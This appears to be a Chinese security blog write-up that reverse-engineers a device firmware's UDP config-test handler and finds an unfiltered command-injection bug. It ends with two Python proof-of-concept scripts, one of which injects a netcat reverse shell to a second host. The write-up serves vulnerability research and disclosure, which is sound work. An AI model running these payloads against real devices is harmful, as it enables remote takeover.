这里调用了`CMD_FTEST_CONFIG` 进入之后发现在68行位置有shell命令拼接操作 

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605132722.png)

向上追 发现在59行处进行的参数解析 其中`v21`为原始字符串 且`v21`指向`v10+0xB01B`很明显指向传入的数据处 很明显的命令拼接存在漏洞 就看内部有没有过滤了 追入`sub_91DC` 发现无过滤 直接得到执行 则此处存在命令注入漏洞

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605162532.png)

这里IDA反编译有错误 可以看看Frida 可以看到如果成功加载之后会调用lua脚本中的config_test函数 此处也可以使用config_test进行命令执行

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605164640.png)





#### 脚本编写

首先是在`sub_16418`中 因为我们想要程序流向`sub_15E74` 所以必须满足`v2==1` 且`v2 = *v20 =v14 + 0xB01B`即我们输入的第一个字节 所以第一个字节为`0x1`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605165020.png)

进入到`sub_15E74`后 switch case语句的判断标准是`a1[0xB01C]` 且`a1为传入的参数即v14` 而我们需要程序流入`case 0x31` 所以确定第二个字节为`0x31`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605165224.png)

进入到`case 0x31`后 `v21`由`v15`控制 且`v15==1` 所以`v21+=12`所以输入的字符串应该在`12` 

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605165322.png)



##### config_test版

```python
import socket
import binascii
from pwn import *

socket_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload=p8(0x1)+p8(0x31)+p8(0x0)*10+'/payload;ss'.encode()
socket_send.sendto(payload,('10.10.10.2',1040))
```



##### 命令注入版

```python
import socket
import binascii
from pwn import *

socket_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload=p8(0x1)+p8(0x31)+p8(0x0)*10+'aa 10.10.10.1||nc 10.10.10.1 7777|/bin/sh|nc 10.10.10.1 8888 #;ss'.encode()
socket_send.sendto(payload,('10.10.10.2',1040))
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605135604.png)

#### 后续更新

在后面新版固件中直接砍掉了`case 0x31` 彻底修复了漏洞(doge)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605172126.png)